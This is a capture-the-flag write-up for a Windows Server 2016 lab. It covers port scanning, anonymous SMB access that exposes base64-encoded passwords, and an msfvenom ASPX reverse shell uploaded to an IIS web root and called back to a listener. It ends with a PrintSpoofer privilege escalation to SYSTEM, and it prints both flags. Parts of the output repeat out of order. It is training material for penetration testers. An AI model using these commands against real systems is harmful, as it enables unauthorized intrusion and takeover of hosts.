

Relevant CTF

You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in seven days.

Scope of Work

The client requests that an engineer conducts an assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test). The client has asked that you secure two flags (no location provided) as proof of exploitation:

- User.txt
- Root.txt

Additionally, the client has provided the following scope allowances:

- Any tools or techniques are permitted in this engagement, however we ask that you attempt manual exploitation first
- Locate and note all vulnerabilities found
- Submit the flags discovered to the dashboard
- Only the IP address assigned to your machine is in scope
- Find and report ALL vulnerabilities (yes, there is more than one path to root)

Full Port Scan

```
nmap -sC -sV -p- 10.129.178.147
```

The -p- flag scans all 65535 ports instead of just the default top 1000. This is critical because port 49663 — a second IIS web server — would have been completely missed with a default scan. Always do full port scans.

Key findings:

- Port 80, 49663 — Microsoft IIS 10.0 (Windows web server)
- Port 445 — SMB (Windows Server 2016)
- Port 3389 — RDP

```

└─$ nmap -sC -sV -p- 10.129.178.147
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-30 16:52 +0530
Nmap scan report for 10.129.178.147
Host is up (0.025s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT      STATE SERVICE        VERSION
80/tcp    open  http           Microsoft IIS httpd 10.0
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/10.0
|_ http-title: IIS Windows Server
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds   Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ms-wbt-server  Microsoft Terminal Services
|_ ssl-cert: Subject: commonName=Relevant
|_ Not valid before: 2026-03-29T11:21:24
|_ Not valid after: 2026-09-28T11:21:24
|_ rdp-ntlm-info:
|_ Target_Name: RELEVANT
|_ NetBIOS_Domain_Name: RELEVANT
|_ NetBIOS_Computer_Name: RELEVANT
|_ DNS_Domain_Name: Relevant
|_ DNS_Computer_Name: Relevant
|_ Product_Version: 10.0.14393
|_ System_Time: 2026-03-30T11:25:29+00:00
|_ ssl-date: 2026-03-30T11:26:08+00:00; -5s from scanner time.
49663/tcp open  http           Microsoft IIS httpd 10.0
|_ http-server-header: Microsoft-IIS/10.0
|_ http-title: IIS Windows Server
|_ http-methods:
|_ Potentially risky methods: TRACE
49666/tcp open  msrpc          Microsoft Windows RPC
49667/tcp open  msrpc          Microsoft Windows RPC
Service Info: Host: RELEVANT; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ clock-skew: mean: 1h23m55s, deviation: 3h07m51s, median: -5s
|_ smb2-security-mode:
|_ 3.1.1:
|_ Message signing enabled but not required
|_ smb-os-discovery:
|_ OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
|_ Computer name: Relevant

```

SMB Enumeration (Anonymous/Null Session)

bash

```
smbclient -L //10.129.178.147 -N
```

The -N flag attempts a null session — connecting with no credentials at all. This works when a server is misconfigured to allow anonymous access. The share nt4wrksv stood out immediately because it had no comment and was non-standard. Default shares like ADMIN,C, C,C, IPC\$ are expected — anything else is worth investigating.

```
smbclient -L //10.129.178.147 -N
```

Accessing the Share and Finding Credentials

bash

```
smbclient //10.129.178.147/nt4wrksv -N
```

Inside the share was passwords.txt containing two encoded strings. The strings were identified as Base64 because of three giveaways — the == padding at the end, the character set only containing A-Z, a-z, 0-9, + and /, and the context of the file being named passwords.

```
(tushar@kali)-[~]
└─$ smbclient -L //10.129.178.147 -N

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
IPC$           IPC        Remote IPC
nt4wrksv       Disk

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.178.147 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

(tushar@kali)-[~]
└─$ smbclient //10.129.178.147/nt4wrksv -N
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0   Sun Jul 26 03:16:04 2020
..               D           0   Sun Jul 26 03:16:04 2020
passwords.txt    A          98   Sat Jul 25 20:45:33 2020

7735807 blocks of size 4096. 5049520 blocks available
smb: \> get passwords.txt
getting file \passwords.txt of size 98 as passwords.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \> ^Z
zsh: suspended  smbclient //10.129.178.147/nt4wrksv -N
```

cat passwords.txt

Decoded with:

echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d echo

"QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d

Result:

- Bob : !P@\$\$W0rD!123
- Bill : Juw4nnaM4n420696969!\$\$\$

```
(tushar@kali)-[~]
└─$ cat passwords.txt
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk

(tushar@kali)-[~]
└─$ echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d
Bob - !P@$$W0rD!123

(tushar@kali)-[~]
└─$ echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d
Bill - Juw4nnaM4n420696969!$$$
```

I tried to login with both usernames to find something didnt get anything new

```
(tushar@kali)-[~]
$ smbclient -L //10.129.178.147 -U Bob
Password for [WORKGROUP\Bob]:

      Sharename      Type      Comment
      -----
      ADMIN$         Disk      Remote Admin
      C$              Disk      Default share
      IPC$            IPC       Remote IPC
      nt4wrksv        Disk

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.178.147 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

(tushar@kali)-[~]
$ smbclient -L //10.129.178.147 -U Bill
Password for [WORKGROUP\Bill]:

      Sharename      Type      Comment
      -----
      ADMIN$         Disk      Remote Admin
      C$              Disk      Default share
      IPC$            IPC       Remote IPC
      nt4wrksv        Disk

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.178.147 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Generating and Uploading a Reverse Shell

IIS is Microsoft's web server and executes ASPX files (Active Server Pages). Since the nt4wrksv SMB share mapped directly to the IIS web root being served on port 49663, uploading an ASPX file via SMB meant IIS would execute it when visited in a browser.

Generated the shell:

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_VPN_IP LPORT=4444 -f aspx -o shell.aspx
```

start your listener:

```
nc -lvnp 4444
```

connect to the share and upload:

```
bash
```

```
smbclient //10.129.178.147/nt4wrksv -U Bob
put shell.aspx
```

```
(tushar@kali)-[~]
$ smbclient //10.129.178.147/nt4wrksv -U Bob
Password for [WORKGROUP\Bob]:
Try "help" to get a list of possible commands.
smb: \> put shell.aspx
putting file shell.aspx as \shell.aspx (37.7 kB/s) (average 37.7 kB/s)
```

Triggered by visiting: `` <http://10.129.178.147:49663/nt4wrksv/shell.aspx>

This gave a reverse shell running as `iis apppool\defaultapppool` — a low privilege IIS service account.

```
c:\windows\system32\inetsrv>cd C:\Users\Bob\Desktop
cd C:\Users\Bob\Desktop

C:\Users\Bob\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is AC3C-5CB5

Directory of C:\Users\Bob\Desktop

07/25/2020  02:04 PM    <DIR>          .
07/25/2020  02:04 PM    <DIR>          ..
07/25/2020  08:24 AM                35 user.txt
               1 File(s)                35 bytes
               2 Dir(s)  20,722,008,064 bytes free

C:\Users\Bob\Desktop>cat user.txt
cat user.txt
'cat' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\Bob\Desktop>type user.txt
type user.txt
THM{fdk4ka34vk346ksxfr21tg789ktf45}
C:\Users\Bob\Desktop>whoami /priv
whoami /priv
```

user flag - THM{fdk4ka34vk346ksxfr21tg789ktf45}

Privilege Escalation via `SelmpersonatePrivilege`

cmd

```
whoami /priv
```

The output showed `SelmpersonatePrivilege` was Enabled. This privilege allows a process to impersonate other users who authenticate to it. On Windows Server 2016, IIS service accounts almost always have this privilege enabled by design.

The attack — called a Potato attack — tricks the system into authenticating as NT AUTHORITY\SYSTEM, then steals that token. PrintSpoofer is the tool that automates this on Windows Server 2016/2019.

```
type user.txt
THM{fdk4ka34vk346ksxfr21tg789ktf45}
C:\Users\Bob\Desktop>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name      Description      State
=====
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```

Downloaded PrintSpoofer on Kali:

```
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
```

[illegible]

```
put PrintSpoofer64.exe
```

```
(tushar@kali)-[~]
$ smbclient //10.129.178.147/nt4wrksv -U Bob
Password for [WORKGROUP\Bob]:
Try "help" to get a list of possible commands.
smb: \> put shell.aspx
putting file shell.aspx as \shell.aspx (37.7 kB/s) (average 37.7 kB/s)
smb: \> put PrintSpoofer64.exe
putting file PrintSpoofer64.exe as \PrintSpoofer64.exe (236.6 kB/s) (average 149.1 kB/s)
smb: \>
```

Executed from the shell:

cmd

```
cd C:\inetpub\wwwroot\nt4wrksv
PrintSpoofer64.exe -i -c cmd
whoami
```

Result: nt authority\system — full SYSTEM access.

whoami

C:\Users\Administrator\Desktop\root.txt

```
root flag - THM{1fk5kf469devly1gl320zafgl345pv}
```


operable program or batch file.

```
C:\Users\Bob\Desktop>type user.txt
type user.txt
THM{fdk4ka34vk346ksxfr21tg789ktf45}
C:\Users\Bob\Desktop>whoami /priv
whoami /priv
```

PRIVILEGES INFORMATION

Privilege Name	Description	State
SeAssignPrimaryTokenPrivilege	Replace a process level token	Disabled
SeIncreaseQuotaPrivilege	Adjust memory quotas for a process	Disabled
SeAuditPrivilege	Generate security audits	Disabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeImpersonatePrivilege	Impersonate a client after authentication	Enabled
SeCreateGlobalPrivilege	Create global objects	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Disabled

```
C:\Users\Bob\Desktop>put PrintSpoofer64.exe
put PrintSpoofer64.exe
'put' is not recognized as an internal or external command,
operable program or batch file.
```

```
C:\Users\Bob\Desktop>cd C:\inetpub\wwwroot\nt4wrksv
cd C:\inetpub\wwwroot\nt4wrksv
```

```
C:\inetpub\wwwroot\nt4wrksv>PrintSpoofer64.exe -i -c cmd
PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32>whoami
whoami
nt authority\system
```

```
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
THM{1fk5kf469devly1gl320zafgl345pv}
C:\Windows\system32>
```